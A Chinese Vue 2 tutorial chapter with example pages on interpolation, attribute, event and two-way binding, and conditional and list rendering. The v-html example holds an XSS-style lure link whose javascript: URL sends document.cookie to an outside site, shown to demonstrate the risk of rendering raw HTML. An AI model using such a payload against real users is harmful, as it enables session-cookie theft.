【前端目录贴】
第三章 Vue语法
3.1 插值绑定({{}}, v-html)
文本插值中的代码被解释为节点的文本内容,而HTML插值中的代码则被渲染为视图节点。
3.1.1 文本插值
文本插值的方式:用
双大括号
将要绑定的变量、值、表达式括住就可以实现,Vue将会获取计算后的值
,并以文本的形式
将其展示出来。
<div id="app">
<h2>文本插值</h2>
<p><span class="profile">变量:</span> {{ num }}</p>
<p><span class="profile">表达式:</span> {{ 4 + 10 }}</p>
<p><span class="profile">三目运算符:</span> {{ true ? 15 : 10 }}</p>
<p><span class="profile">函数:</span> {{ getNum() }}</p>
<p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p>
<p><span class="profile">对象:</span> {{ {num: 15} }}</p>
<p><span class="profile">函数对象:</span> {{ getNum }}</p>
<p><span class="profile">html代码(表达式):</span> {{ '<span>15</span>' }}</p>
<p><span class="profile">html代码(变量):</span> {{ html }}</p>
</div>
<script>
var vue=new Vue({
el:"#app",
data(){
return {
num:10,
html:"<span>15</span>"
};
},
methods:{
getNum(){
return this.num;
}
}
});
</script>
结果:
3.1.2 HTML插值
<body>
<div id="demo">
<div>{{blog}}</div>
<hr/>
<div v-html="blog">21312</div>
</div>
<script>
new Vue({
el:'#demo',
data:{
blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
}
})
</script>
</body>
3.2 属性绑定 v-bind
3.2.1 指令v-bind
DOM节点的属性基本都可以用指令v-bind进行绑定.
写法:<h1 v-bind:class="className">Hello,尚硅谷</h1>
简写形式:<h1 :class="className">Hello,尚硅谷</h1>
<!-- 准备好一个容器 -->
<div id="demo">
<h1 v-bind:class="className">Hello,尚硅谷</h1>
<!-- 简写形式-->
<a :href="hrefName">百度</a>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
className: "italic",
hrefName: "https://baidu.com"
}
})
</script>
3.2.3 类名和样式绑定
类名实际由
数组拼接
而成
样式有对象键值对拼接
而成
(虽然都可以用其他方式表示
)
- 表达类名: 字符串, 数组, 对象
说明
:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.
js中等价于false的表达: undefined ,null,0, 空字符串, [], {},-1, -0.1
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="./vue.js"></script>
<style>
.color-gray{
color: #b1191a;
}
.size-18{
font-size: 18px;
}
.style-italic{
font-style: italic;
}
</style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<h1 class="color-gray size-18 style-italic">Hello,尚硅谷</h1>
<h1 v-bind:class="classStr">Hello,尚硅谷</h1>
<h1 v-bind:class="classArr">Hello,尚硅谷</h1>
<h1 v-bind:class="classObj1">Hello,尚硅谷</h1>
<h1 v-bind:class="classObj2">Hello,尚硅谷</h1>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
classStr: "color-gray size-18 style-italic",//拼接字符串
classArr: ['color-gray','size-18', 'style-italic'],//数组
classObj1: {//对象,绑定类名
'color-gray':true,
'size-18':true,
'style-italic':true
},
classObj2: {//对象,未绑定类名
'color-gray':false,
'size-18':false,
'style-italic':false
}
}
})
</script>
</body>
</html>
- 表达样式: 字符串, 对象 (不能用数组)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<h1 style="color: gray; size:18px; font-style: italic">Hello,尚硅谷</h1>
<h1 v-bind:style="classStr">Hello,尚硅谷</h1>
<h1 v-bind:style="classArr">Hello,尚硅谷</h1>
<h1 v-bind:style="classObj1">Hello,尚硅谷</h1>
<h1 v-bind:style="classObj2">Hello,尚硅谷</h1>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
classStr: "color: gray; size:18px; font-style: italic",//拼接字符串
classArr: ['color: gray','size:18px', 'font-style: italic'],//数组
classObj1: {//对象,绑定类名
'color':'gray',
'size':'18px',
'font-style':'italic'
},
classObj2: {//对象,未绑定类名
'color':0?'gray':'',
'size':''?'18px':'',
'font-style':null?'italic':''
}
}
})
</script>
</body>
</html>
3.3 事件绑定 v-on
3.3.1 指令v-on
写法:
<h1 v-on:click="logInfo()">Hello,尚硅谷</h1>
简写形式:<h1 @click="logInfo()">Hello,尚硅谷</h1>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初始Vue</title>
<!--引入vue-->
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<!--传输事件本身-->
<!-- 1. 在事件函数不必传参时,可以这样写,注意:不能带() -->
<h1 v-on:click="logInfo">Hello,尚硅谷</h1>
<!-- 2. 手动传入$event对象 -->
<h1 v-on:click="logInfo($event)">Hello,尚硅谷</h1>
<h1 v-on:click="logInfo()">Hello,尚硅谷</h1>
<h1 v-on:click="logInfo('打印日志')">Hello,尚硅谷</h1>
<!--简写形式-->
<h1 @click="logInfo">Hello,尚硅谷</h1>
<h1 @click="logInfo($event)">Hello,尚硅谷</h1>
<h1 @click="logInfo()">Hello,尚硅谷</h1>
<h1 @click="logInfo('打印日志')">Hello,尚硅谷</h1>
<!--常见修饰符-->
</div>
<script>
<!---->
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: "尚硅谷",
age: 18
},
methods:{
logInfo(msg) {
console.log(msg||'Hello world');
}
}
});
</script>
</body>
</html>
3.3.2 常见修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初始Vue</title>
<!--引入vue-->
<script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<!--传输事件本身-->
<!-- 1. 在事件函数不必传参时,可以这样写,注意:不能带() -->
<h1 v-on:click="logInfo">Hello,尚硅谷</h1>
<!-- 2. 手动传入$event对象 -->
<h1 v-on:click="logInfo($event)">Hello,尚硅谷</h1>
<h1 v-on:click="logInfo()">Hello,尚硅谷</h1>
<h1 v-on:click="logInfo('打印日志')">Hello,尚硅谷</h1>
<!--简写形式-->
<h1 @click="logInfo">Hello,尚硅谷</h1>
<h1 @click="logInfo($event)">Hello,尚硅谷</h1>
<h1 @click="logInfo()">Hello,尚硅谷</h1>
<h1 @click="logInfo('打印日志')">Hello,尚硅谷</h1>
<!--
Vue中的事件修饰符:
1.prevent:阻止默认事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只触发一次(常用);
4.capture:使用事件的捕获模式;
5.self:只有event.target是当前操作的元素时才触发事件;
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
-->
<form @submit="handleSubmit">
<h2>不使用修饰符时</h2>
<button type="submit">提交</button>
</form>
<form @submit.prevent="handleSubmit">
<h2>使用.prevent 修饰符时</h2>
<button type="submit">提交</button>
</form>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: "尚硅谷",
age: 18
},
methods:{
logInfo(msg) {
console.log(msg||'Hello world');
},
handleSubmit(msg) {
console.log(msg||'修饰符');
}
}
});
</script>
</body>
</html>
3.3.3 按键修饰符
<!--
1.Vue中常用的按键别名:
回车 => enter /Enter, 以下都可以用大写
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用,不然会直接切走光标)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定 (通过event.key获得),但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
-->
<input type="text" @keyup.enter="logInfo">
<input type="text" @keyup.left="logInfo">
Vue未提供别名的按键,可以使用按键原始的key值去绑定 (通过event.key获得),但注意要转为kebab-case(短横线命名)
3.3.4 鼠标修饰符
.left .right .middle
<input type="text" @mousedown.left="logInfo">
3.3.5 组合修饰符
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
3.4 双向绑定v-model
3.4.1 指令v-model
写法:
<input type="text" v-model:value="name">
简写形式:<input type="text" v-model="name">
用处:
- 单行文本输入
- 多行文本输入
- 单选框
- 复选框
- select单选择下拉选择框
- select多选择下拉选择框
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="../vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<h1 style="color: gray; size:18px; font-style: italic">Hello,尚硅谷</h1>
<p><span>单向数据绑定:</span><input type="text" v-bind:value="name"></p>
<p><span>双向数据绑定:</span><input type="text" v-model:value="name"></p>
<!--v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。-->
<p><span>双向数据绑定:</span><input type="text" v-model="name"></p>
<h3>单行文本框</h3>
<input type="text" v-model="singleText" style="width: 240px;">
<p>{{ singleText }}</p>
<h3>多行文本框</h3>
<textarea v-model="multiText" style="width: 240px;"></textarea>
<pre>{{ multiText }}</pre>
<h3>单选框</h3>
<!--
由于点击被选中的单选项无法取消其被选中状态,所以实战中基本没有使用单个单选项的场景。
这里,设置v-model共用同一个变量(radioValue)可实现RadioGroup的效果
-->
<input id="ra" type="radio" value="杨玉环" v-model="radioValue">A.杨玉环
<input id="rb" type="radio" value="赵飞燕" v-model="radioValue">B.赵飞燕
<p>{{ radioValue }}</p>
<h3>单个复选框</h3>
<!-- 单个复选框被用于true和false的切换 -->
<input id="c" type="checkbox" v-model:value="toggleValue">天生丽质
<p>{{ toggleValue }}</p>
<h3>多个复选框</h3>
<!-- 多个复选框, v-model接收数组类型变量 -->
<input id="ca" type="checkbox" value="漂亮" v-model:value="checkedValues">A.回眸一笑百媚生
<input id="cb" type="checkbox" value="瘦弱" v-model:value="checkedValues">B.体轻能为掌上舞
<input id="cc" type="checkbox" value="得宠" v-model:value="checkedValues">C.三千宠爱在一身
<p>{{ checkedValues.join(',') }}</p>
<!--单向下拉选择框-->
<h3>单项下拉选择框</h3>
<select v-model="singleSelect">
<option>唐代</option>
<option value="汉代">汉代</option>
</select>
<p>{{singleSelect}}</p>
<h3>多项下拉选择框</h3>
<select v-model="multiSelect" multiple>
<!--按住ctrl键,可执行多选-->
<option value=0>出身寒微</option>
<option value=1>饱受争议</option>
<option value=2>解决悲凉</option>
<option value=3>逆天</option>
</select>
<p>{{multiSelect}}</p>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name:"请输入",
singleText: '',
multiText: '多行文本框',
radioValue: '',
toggleValue: '',
checkedValues: [],
singleSelect:'唐代',
multiSelect:[0,3]
}
})
</script>
</body>
</html>
3.4.2 v-model与修饰符
- lazy修饰符
用户使用v-model之后,用户每次修改输入内容,都会将后台的数据同时> 绑定,为了避免这种情况的发生,使用lazy修饰符来进行限定。只有当用户的input中失去焦点或者用户点击回车按钮时,才会将后台的数据进行改。- number修饰符
当用户在input中输入数字时,浏览器会默认将输入的数字转化为string类型,使用number修饰符来将输入的数字转为number类型- trim修饰符
用户可能输入的字符串中含有空格,这样系统在处理时可能会出现错误。使用trim修饰符来去掉字符串首部或者尾部的所有空格
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初始Vue</title>
<!--引入vue-->
<script type="text/javascript" src="../vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo">
<input type="text" v-model.trim.number="text" @keyup="handleKeyUp">
<input type="text" v-model.lazy="name" @change="show">
<p>{{name}}</p>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
text: "尚硅谷 ",
age: 18,
name:"hello world"
},
methods:{
handleKeyUp () {
console.log(this.text, typeof this.text)
},
show(){
console.log(this.name)
}
}
});
</script>
</body>
</html>
3.4.3 v-model与自定义组件
TODO
3.5 条件渲染与列表渲染
3.5.1 条件渲染v-if
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="demo">
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>
<button v-on:click="changeStatus">点我改变状态</button>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: "尚硅谷",
age: 18,
n:0
},
methods:{
changeStatus(){
this.n= ++this.n%3;
console.log("n的值为:",this.n);
}
}
});
</script>
</body>
</html>
3.5.2 条件渲染v-show
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="demo">
<h1 v-show="visible">v-show visible</h1>
<h1 v-show="!visible">v-show !visible</h1>
<h1 v-if="visible">v-if visible</h1>
<h1 v-if="!visible">v-if !visible</h1>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: "尚硅谷",
age: 18,
visible:true
}
});
</script>
</body>
</html>
* v-if和v-show区别?
v-show判断为假的元素的display属性被赋值为none,不过保留在DOM中,而v-if判断为假的元素根本没有在DOM中出现.
3.5.4 列表渲染v-for
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="demo">
<h2>用户列表</h2>
<ul>
<!-- index作为第二个参数,用以标识下标 -->
<li v-for="(item,index) in users">{{index}}:{{item.name}}</li>
</ul>
<h2>用户列表</h2>
<ul>
<!-- uIndex作为第二个参数,用以标识下标 -->
<li v-for="(user2, uIndex2) of users">{{ uIndex2 }}. {{ user2.name }}</li>
</ul>
<button v-on:click="createUser">点我增加用户</button>
<button v-on:click="deleteUser">点我删除用户</button>
<button v-on:click="sortUser1">点我从小到大排序(年龄)</button>
<button v-on:click="sortUser2">点我从大到小排序(年龄)</button>
<h2>用户列表</h2>
<ul>
<li v-for="(user,index) in users">{{user}}
<ul>
<!-- uIndex作为第二个参数,用以标识下标 -->
<li v-for="(value, key) of user">{{value}}. {{ key }}</li>
</ul>
</li>
</ul>
</div>
<script>
//创建Vue实例,传一个参数,(对象,叫做配置对象)
new Vue({
el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
users: [
{
name: 'Clark',
age: 27,
city: 'Chicago'
},
{
name: 'Jackson',
age: 28,
city: 'Sydney'
}
]
},
methods:{
random(factor){
return Math.floor(Math.random()*factor);
},
createUser(){
// 获取 name 大写首字母
fLetter= 'BJHK'[this.random(4)];
// 随机截取 name 字符串
let nameStr = 'abcdefghijklmnopqrstuvwxyz'
let bLetters = nameStr.substr(this.random(19.999), this.random(3))
adduser={
name: fLetter+ bLetters,
age:this.random(100),
city: ['Chicago', 'Sydney', 'ShenZhen', 'HangZhou'][this.random(3.999)]
}
console.log('--------------- 创建用户 ---------------\n', adduser)
this.users.push(adduser);
},
deleteUser(){
console.log('--------------- 删除用户 ---------------\n')
this.users.pop();
},
sortUser1(){
console.log('--------------- 排序用户(从小到大) ---------------\n')
this.users.sort((o1,o2)=>{
return o1.age-o2.age;
});
},
sortUser2(){
console.log('--------------- 排序用户(从大到小) ---------------\n')
return this.users.sort((o1,o2)=>{
return -(o1.age-o2.age);
});
}
}
});
</script>
</body>
</html>
- 注意:
Vue会将数组加入
响应式系统中
,当数组调用一些方法时(push,pop,shift,unshift,splice,sort,reverse)会将数据加入数据响应式系统
,修改时对应视图也会更新
但是如果直接使用下标/键名 为 数组/对象设置成员时,并不会加入数据响应式系统
,所以对应视图不会更新